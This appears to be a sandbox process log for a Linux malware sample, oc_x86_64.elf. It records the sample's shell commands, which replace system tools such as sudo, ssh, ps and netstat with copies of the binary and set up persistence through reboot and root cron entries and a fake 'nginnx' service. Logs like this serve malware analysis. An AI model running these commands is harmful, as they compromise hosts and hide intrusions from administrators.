sh New Fork (PID: 5818, Parent: 5817)

oc_x86_64.elf New Fork (PID: 7881, Parent: 5812)

oc_x86_64.elf New Fork (PID: 7882, Parent: 7881)

oc_x86_64.elf New Fork (PID: 7918, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7919, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7920, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7921, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7922, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7923, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7925, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7926, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7927, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7928, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7929, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7930, Parent: 7882)

oc_x86_64.elf New Fork (PID: 7883, Parent: 7881)

oc_x86_64.elf New Fork (PID: 7884, Parent: 7883)

oc_x86_64.elf New Fork (PID: 7933, Parent: 7883)

oc_x86_64.elf New Fork (PID: 7934, Parent: 7933)

oc_x86_64.elf New Fork (PID: 8005, Parent: 7933)

oc_x86_64.elf New Fork (PID: 8006, Parent: 8005)

oc_x86_64.elf New Fork (PID: 8077, Parent: 8005)

oc_x86_64.elf New Fork (PID: 8078, Parent: 8077)

oc_x86_64.elf New Fork (PID: 8151, Parent: 8077)

oc_x86_64.elf New Fork (PID: 8152, Parent: 8151)

oc_x86_64.elf New Fork (PID: 8223, Parent: 8151)

oc_x86_64.elf New Fork (PID: 8224, Parent: 8223)

oc_x86_64.elf New Fork (PID: 8297, Parent: 8223)

oc_x86_64.elf New Fork (PID: 8298, Parent: 8297)

oc_x86_64.elf New Fork (PID: 8357, Parent: 8297)

oc_x86_64.elf New Fork (PID: 8358, Parent: 8357)

oc_x86_64.elf New Fork (PID: 8429, Parent: 8357)

oc_x86_64.elf New Fork (PID: 8430, Parent: 8429)

oc_x86_64.elf New Fork (PID: 8503, Parent: 8429)

oc_x86_64.elf New Fork (PID: 8504, Parent: 8503)

oc_x86_64.elf New Fork (PID: 8563, Parent: 8503)

oc_x86_64.elf New Fork (PID: 8564, Parent: 8563)

oc_x86_64.elf New Fork (PID: 8626, Parent: 8563)

oc_x86_64.elf New Fork (PID: 8627, Parent: 8626)

oc_x86_64.elf New Fork (PID: 8687, Parent: 8626)

oc_x86_64.elf New Fork (PID: 8688, Parent: 8687)

oc_x86_64.elf New Fork (PID: 8747, Parent: 8687)

oc_x86_64.elf New Fork (PID: 8748, Parent: 8747)

oc_x86_64.elf New Fork (PID: 8809, Parent: 8747)

oc_x86_64.elf New Fork (PID: 8810, Parent: 8809)

oc_x86_64.elf New Fork (PID: 8881, Parent: 8809)

oc_x86_64.elf New Fork (PID: 8882, Parent: 8881)

oc_x86_64.elf New Fork (PID: 8944, Parent: 8881)

oc_x86_64.elf New Fork (PID: 8945, Parent: 8944)

oc_x86_64.elf New Fork (PID: 9016, Parent: 8944)

oc_x86_64.elf New Fork (PID: 9017, Parent: 9016)

oc_x86_64.elf New Fork (PID: 9089, Parent: 9016)

oc_x86_64.elf New Fork (PID: 9090, Parent: 9089)

oc_x86_64.elf New Fork (PID: 9163, Parent: 9089)

oc_x86_64.elf New Fork (PID: 9164, Parent: 9163)

oc_x86_64.elf New Fork (PID: 9235, Parent: 9163)

oc_x86_64.elf New Fork (PID: 9236, Parent: 9235)

oc_x86_64.elf New Fork (PID: 9309, Parent: 9235)

oc_x86_64.elf New Fork (PID: 9310, Parent: 9309)

oc_x86_64.elf New Fork (PID: 9381, Parent: 9309)

oc_x86_64.elf New Fork (PID: 9382, Parent: 9381)

oc_x86_64.elf New Fork (PID: 9453, Parent: 9381)

oc_x86_64.elf New Fork (PID: 9454, Parent: 9453)

oc_x86_64.elf New Fork (PID: 9527, Parent: 9453)

oc_x86_64.elf New Fork (PID: 9528, Parent: 9527)

oc_x86_64.elf New Fork (PID: 9599, Parent: 9527)

oc_x86_64.elf New Fork (PID: 5552, Parent: 5490)

sh (PID: 5552, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/sudo /usr/bin/sudooc"

sh New Fork (PID: 5553, Parent: 5552)

mv (PID: 5553, Parent: 5552, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/sudo /usr/bin/sudooc

oc_x86_64.elf New Fork (PID: 5555, Parent: 5490)

sh (PID: 5555, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/top /usr/bin/topoc"

sh New Fork (PID: 5556, Parent: 5555)

mv (PID: 5556, Parent: 5555, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/top /usr/bin/topoc

oc_x86_64.elf New Fork (PID: 5559, Parent: 5490)

sh (PID: 5559, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/find /usr/bin/findoc"

sh New Fork (PID: 5560, Parent: 5559)

mv (PID: 5560, Parent: 5559, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/find /usr/bin/findoc

oc_x86_64.elf New Fork (PID: 5562, Parent: 5490)

sh (PID: 5562, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/ssh /usr/bin/sshoc"

sh New Fork (PID: 5564, Parent: 5562)

mv (PID: 5564, Parent: 5562, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/ssh /usr/bin/sshoc

oc_x86_64.elf New Fork (PID: 5565, Parent: 5490)

sh (PID: 5565, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/wget /usr/bin/wgetoc"

sh New Fork (PID: 5566, Parent: 5565)

mv (PID: 5566, Parent: 5565, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/wget /usr/bin/wgetoc

oc_x86_64.elf New Fork (PID: 5569, Parent: 5490)

sh (PID: 5569, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/head /usr/bin/headoc"

sh New Fork (PID: 5570, Parent: 5569)

mv (PID: 5570, Parent: 5569, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/head /usr/bin/headoc

oc_x86_64.elf New Fork (PID: 5572, Parent: 5490)

sh (PID: 5572, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/tail /usr/bin/tailoc"

sh New Fork (PID: 5574, Parent: 5572)

mv (PID: 5574, Parent: 5572, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/tail /usr/bin/tailoc

oc_x86_64.elf New Fork (PID: 5576, Parent: 5490)

sh (PID: 5576, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/man /usr/bin/manoc"

sh New Fork (PID: 5578, Parent: 5576)

mv (PID: 5578, Parent: 5576, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/man /usr/bin/manoc

oc_x86_64.elf New Fork (PID: 5579, Parent: 5490)

sh (PID: 5579, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/lsof /usr/bin/lsofoc"

sh New Fork (PID: 5580, Parent: 5579)

mv (PID: 5580, Parent: 5579, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/lsof /usr/bin/lsofoc

oc_x86_64.elf New Fork (PID: 5583, Parent: 5490)

sh (PID: 5583, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/awk /usr/bin/awkoc"

sh New Fork (PID: 5584, Parent: 5583)

mv (PID: 5584, Parent: 5583, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/awk /usr/bin/awkoc

oc_x86_64.elf New Fork (PID: 5586, Parent: 5490)

sh (PID: 5586, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/wc /usr/bin/wcoc"

sh New Fork (PID: 5588, Parent: 5586)

mv (PID: 5588, Parent: 5586, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/wc /usr/bin/wcoc

oc_x86_64.elf New Fork (PID: 5589, Parent: 5490)

sh (PID: 5589, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/du /usr/bin/duoc"

sh New Fork (PID: 5590, Parent: 5589)

mv (PID: 5590, Parent: 5589, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/du /usr/bin/duoc

oc_x86_64.elf New Fork (PID: 5593, Parent: 5490)

sh (PID: 5593, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/ss /usr/bin/ssoc"

sh New Fork (PID: 5594, Parent: 5593)

mv (PID: 5594, Parent: 5593, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/ss /usr/bin/ssoc

oc_x86_64.elf New Fork (PID: 5596, Parent: 5490)

sh (PID: 5596, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/ps /usr/bin/psoc"

sh New Fork (PID: 5598, Parent: 5596)

mv (PID: 5598, Parent: 5596, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/ps /usr/bin/psoc

oc_x86_64.elf New Fork (PID: 5601, Parent: 5490)

sh (PID: 5601, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mv /usr/bin/netstat /usr/bin/netstatoc"

sh New Fork (PID: 5602, Parent: 5601)

mv (PID: 5602, Parent: 5601, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /usr/bin/netstat /usr/bin/netstatoc

oc_x86_64.elf New Fork (PID: 5605, Parent: 5490)

sh (PID: 5605, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /boot/systems.d"

oc_x86_64.elf New Fork (PID: 5606, Parent: 5490)

sh (PID: 5606, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /boot/System.imgx.config"

oc_x86_64.elf New Fork (PID: 5607, Parent: 5490)

sh (PID: 5607, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /etc/id.oc1337.conf"

oc_x86_64.elf New Fork (PID: 5609, Parent: 5490)

sh (PID: 5609, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /tmp/systems"

oc_x86_64.elf New Fork (PID: 5611, Parent: 5490)

sh (PID: 5611, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/sudo"

oc_x86_64.elf New Fork (PID: 5612, Parent: 5490)

sh (PID: 5612, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/du"

oc_x86_64.elf New Fork (PID: 5613, Parent: 5490)

sh (PID: 5613, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/find"

oc_x86_64.elf New Fork (PID: 5614, Parent: 5490)

sh (PID: 5614, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/lsof"

oc_x86_64.elf New Fork (PID: 5619, Parent: 5490)

sh (PID: 5619, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/awk"

oc_x86_64.elf New Fork (PID: 5638, Parent: 5490)

sh (PID: 5638, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/wc"

oc_x86_64.elf New Fork (PID: 5640, Parent: 5490)

sh (PID: 5640, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/head"

oc_x86_64.elf New Fork (PID: 5642, Parent: 5490)

sh (PID: 5642, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/tail"

oc_x86_64.elf New Fork (PID: 5643, Parent: 5490)

sh (PID: 5643, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/man"

oc_x86_64.elf New Fork (PID: 5644, Parent: 5490)

sh (PID: 5644, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/wget"

oc_x86_64.elf New Fork (PID: 5645, Parent: 5490)

sh (PID: 5645, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ssh"

oc_x86_64.elf New Fork (PID: 5647, Parent: 5490)

sh (PID: 5647, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/top"

oc_x86_64.elf New Fork (PID: 5649, Parent: 5490)

sh (PID: 5649, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ss"

oc_x86_64.elf New Fork (PID: 5651, Parent: 5490)

sh (PID: 5651, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ps"

oc_x86_64.elf New Fork (PID: 5653, Parent: 5490)

sh (PID: 5653, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/netstat"

oc_x86_64.elf New Fork (PID: 5656, Parent: 5490)

sh (PID: 5656, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/nginnx"

sh New Fork (PID: 5658, Parent: 5656)

chmod (PID: 5658, Parent: 5656, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/nginnx

oc_x86_64.elf New Fork (PID: 5660, Parent: 5490)

sh (PID: 5660, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/octopus"

sh New Fork (PID: 5661, Parent: 5660)

chmod (PID: 5661, Parent: 5660, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/octopus

oc_x86_64.elf New Fork (PID: 5663, Parent: 5490)

sh (PID: 5663, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l 2>/dev/null; echo \"@reboot /boot/systems.d\") | crontab -"

sh New Fork (PID: 5665, Parent: 5663)

sh New Fork (PID: 5667, Parent: 5665)

crontab (PID: 5667, Parent: 5665, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5666, Parent: 5663)

crontab (PID: 5666, Parent: 5663, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

oc_x86_64.elf New Fork (PID: 5671, Parent: 5490)

sh (PID: 5671, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo '* * * * * root /bin/bash /dev/octopus' > /etc/cron.d/scriptd"

oc_x86_64.elf New Fork (PID: 5673, Parent: 5490)

sh (PID: 5673, Parent: 5490, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload;systemctl enable nginnx.service;systemctl start nginnx.service;sh -c systemctl daemon-reload;systemctl enable nginnx"

sh New Fork (PID: 5674, Parent: 5673)

systemctl (PID: 5674, Parent: 5673, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

sh New Fork (PID: 5687, Parent: 5673)

systemctl (PID: 5687, Parent: 5673, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable nginnx.service

systemctl New Fork (PID: 5694, Parent: 5687)

systemd-sysv-install (PID: 5694, Parent: 5687, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /lib/systemd/systemd-sysv-install enable nginnx

systemd-sysv-install New Fork (PID: 5696, Parent: 5694)

getopt (PID: 5696, Parent: 5694, MD5: 1a12f43596437b1bf346d52618b3b1b7) Arguments: getopt -o r: --long root: -- enable nginnx

systemd-sysv-install New Fork (PID: 5699, Parent: 5694)

update-rc.d (PID: 5699, Parent: 5694, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/sbin/update-rc.d nginnx defaults

update-rc.d New Fork (PID: 5700, Parent: 5699)

systemctl (PID: 5700, Parent: 5699, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

systemd-sysv-install New Fork (PID: 5708, Parent: 5694)

update-rc.d (PID: 5708, Parent: 5694, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/sbin/update-rc.d nginnx enable

sh New Fork (PID: 5711, Parent: 5673)

systemctl (PID: 5711, Parent: 5673, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start nginnx.service

sh New Fork (PID: 5715, Parent: 5673)

sh (PID: 5715, Parent: 5673, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c systemctl daemon-reload

sh New Fork (PID: 5716, Parent: 5715)

systemctl (PID: 5716, Parent: 5715, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl

sh New Fork (PID: 5723, Parent: 5673)

systemctl (PID: 5723, Parent: 5673, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable nginnx

systemctl New Fork (PID: 5727, Parent: 5723)

systemd-sysv-install (PID: 5727, Parent: 5723, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /lib/systemd/systemd-sysv-install enable nginnx

systemd-sysv-install New Fork (PID: 5728, Parent: 5727)

getopt (PID: 5728, Parent: 5727, MD5: 1a12f43596437b1bf346d52618b3b1b7) Arguments: getopt -o r: --long root: -- enable nginnx

systemd-sysv-install New Fork (PID: 5729, Parent: 5727)

update-rc.d (PID: 5729, Parent: 5727, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/sbin/update-rc.d nginnx defaults

update-rc.d New Fork (PID: 5730, Parent: 5729)

systemctl (PID: 5730, Parent: 5729, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

systemd-sysv-install New Fork (PID: 5738, Parent: 5727)

update-rc.d (PID: 5738, Parent: 5727, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/sbin/update-rc.d nginnx enable

oc_x86_64.elf New Fork (PID: 5743, Parent: 5490)

oc_x86_64.elf New Fork (PID: 5744, Parent: 5490)

oc_x86_64.elf New Fork (PID: 5746, Parent: 5490)

oc_x86_64.elf New Fork (PID: 5748, Parent: 5746)

sh (PID: 5748, Parent: 5746, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /dev/ocmount"

sh New Fork (PID: 5774, Parent: 5748)

chmod (PID: 5774, Parent: 5748, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /dev/ocmount

oc_x86_64.elf New Fork (PID: 5777, Parent: 5746)

sh (PID: 5777, Parent: 5746, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo '* * * * * root /bin/bash /dev/ocmount' > /etc/cron.d/mount.sh"

oc_x86_64.elf New Fork (PID: 5784, Parent: 5746)

sh (PID: 5784, Parent: 5746, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /dev/ocmount

sh New Fork (PID: 5786, Parent: 5784)

oc_x86_64.elf New Fork (PID: 5749, Parent: 5490)

oc_x86_64.elf New Fork (PID: 5750, Parent: 5749)

oc_x86_64.elf New Fork (PID: 5778, Parent: 5750)

oc_x86_64.elf New Fork (PID: 5779, Parent: 5750)

oc_x86_64.elf New Fork (PID: 5780, Parent: 5750)

oc_x86_64.elf New Fork (PID: 5781, Parent: 5750)

oc_x86_64.elf New Fork (PID: 5782, Parent: 5750)

oc_x86_64.elf New Fork (PID: 5783, Parent: 5750)

oc_x86_64.elf New Fork (PID: 5751, Parent: 5749)

oc_x86_64.elf New Fork (PID: 5752, Parent: 5751)

oc_x86_64.elf New Fork (PID: 5819, Parent: 5751)

oc_x86_64.elf New Fork (PID: 5820, Parent: 5819)

oc_x86_64.elf New Fork (PID: 5879, Parent: 5819)

oc_x86_64.elf New Fork (PID: 5880, Parent: 5879)

oc_x86_64.elf New Fork (PID: 5955, Parent: 5879)

oc_x86_64.elf New Fork (PID: 5956, Parent: 5955)

oc_x86_64.elf New Fork (PID: 6027, Parent: 5955)

oc_x86_64.elf New Fork (PID: 6028, Parent: 6027)

oc_x86_64.elf New Fork (PID: 6101, Parent: 6027)

oc_x86_64.elf New Fork (PID: 6102, Parent: 6101)

oc_x86_64.elf New Fork (PID: 6159, Parent: 6101)

oc_x86_64.elf New Fork (PID: 6160, Parent: 6159)

oc_x86_64.elf New Fork (PID: 6218, Parent: 6159)

oc_x86_64.elf New Fork (PID: 6220, Parent: 6218)

oc_x86_64.elf New Fork (PID: 6291, Parent: 6218)

oc_x86_64.elf New Fork (PID: 6293, Parent: 6291)

oc_x86_64.elf New Fork (PID: 6354, Parent: 6291)

oc_x86_64.elf New Fork (PID: 6355, Parent: 6354)

oc_x86_64.elf New Fork (PID: 6427, Parent: 6354)

oc_x86_64.elf New Fork (PID: 6428, Parent: 6427)

oc_x86_64.elf New Fork (PID: 6500, Parent: 6427)

oc_x86_64.elf New Fork (PID: 6501, Parent: 6500)

oc_x86_64.elf New Fork (PID: 6574, Parent: 6500)

oc_x86_64.elf New Fork (PID: 6575, Parent: 6574)

oc_x86_64.elf New Fork (PID: 6646, Parent: 6574)

oc_x86_64.elf New Fork (PID: 6647, Parent: 6646)

oc_x86_64.elf New Fork (PID: 6718, Parent: 6646)

oc_x86_64.elf New Fork (PID: 6719, Parent: 6718)

oc_x86_64.elf New Fork (PID: 6792, Parent: 6718)

oc_x86_64.elf New Fork (PID: 6793, Parent: 6792)

oc_x86_64.elf New Fork (PID: 6864, Parent: 6792)

oc_x86_64.elf New Fork (PID: 6865, Parent: 6864)

oc_x86_64.elf New Fork (PID: 6924, Parent: 6864)

oc_x86_64.elf New Fork (PID: 6925, Parent: 6924)

oc_x86_64.elf New Fork (PID: 6999, Parent: 6924)

oc_x86_64.elf New Fork (PID: 7000, Parent: 6999)

oc_x86_64.elf New Fork (PID: 7071, Parent: 6999)

oc_x86_64.elf New Fork (PID: 7072, Parent: 7071)

oc_x86_64.elf New Fork (PID: 7143, Parent: 7071)

oc_x86_64.elf New Fork (PID: 7144, Parent: 7143)

oc_x86_64.elf New Fork (PID: 7217, Parent: 7143)

oc_x86_64.elf New Fork (PID: 7218, Parent: 7217)

oc_x86_64.elf New Fork (PID: 7289, Parent: 7217)

oc_x86_64.elf New Fork (PID: 7290, Parent: 7289)

oc_x86_64.elf New Fork (PID: 7361, Parent: 7289)

oc_x86_64.elf New Fork (PID: 7362, Parent: 7361)

oc_x86_64.elf New Fork (PID: 7421, Parent: 7361)

oc_x86_64.elf New Fork (PID: 7422, Parent: 7421)

oc_x86_64.elf New Fork (PID: 7495, Parent: 7421)

oc_x86_64.elf New Fork (PID: 7496, Parent: 7495)

oc_x86_64.elf New Fork (PID: 7567, Parent: 7495)

oc_x86_64.elf New Fork (PID: 7568, Parent: 7567)

oc_x86_64.elf New Fork (PID: 7621, Parent: 7567)

systemd New Fork (PID: 5681, Parent: 5680)

snapd-env-generator (PID: 5681, Parent: 5680, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5702, Parent: 5701)

snapd-env-generator (PID: 5702, Parent: 5701, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5706, Parent: 5705)

snapd-env-generator (PID: 5706, Parent: 5705, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5713, Parent: 1)

systemd New Fork (PID: 5717, Parent: 1)

systemd New Fork (PID: 5719, Parent: 5718)

snapd-env-generator (PID: 5719, Parent: 5718, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5721, Parent: 1)

systemd New Fork (PID: 5725, Parent: 1)

systemd New Fork (PID: 5726, Parent: 1)

systemd New Fork (PID: 5731, Parent: 1)

systemd New Fork (PID: 5734, Parent: 1)

systemd New Fork (PID: 5736, Parent: 5735)

snapd-env-generator (PID: 5736, Parent: 5735, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5739, Parent: 1)

systemd New Fork (PID: 5745, Parent: 1)

systemd New Fork (PID: 5762, Parent: 1)

udisksd New Fork (PID: 5764, Parent: 803)

dumpe2fs (PID: 5764, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

systemd New Fork (PID: 5785, Parent: 1)

systemd New Fork (PID: 5802, Parent: 1)

systemd New Fork (PID: 5805, Parent: 5804)

snapd-env-generator (PID: 5805, Parent: 5804, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

udisksd New Fork (PID: 5831, Parent: 803)

dumpe2fs (PID: 5831, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 5864, Parent: 803)

dumpe2fs (PID: 5864, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 5905, Parent: 803)

dumpe2fs (PID: 5905, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 5917, Parent: 803)

dumpe2fs (PID: 5917, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 5967, Parent: 803)

dumpe2fs (PID: 5967, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6000, Parent: 803)

dumpe2fs (PID: 6000, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6038, Parent: 803)

dumpe2fs (PID: 6038, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6073, Parent: 803)

dumpe2fs (PID: 6073, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6112, Parent: 803)

dumpe2fs (PID: 6112, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6146, Parent: 803)

dumpe2fs (PID: 6146, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6169, Parent: 803)

dumpe2fs (PID: 6169, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6203, Parent: 803)

dumpe2fs (PID: 6203, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6241, Parent: 803)

dumpe2fs (PID: 6241, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6265, Parent: 803)

dumpe2fs (PID: 6265, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6302, Parent: 803)

dumpe2fs (PID: 6302, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6341, Parent: 803)

dumpe2fs (PID: 6341, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/sda2

udisksd New Fork (PID: 6378, Parent: 803)

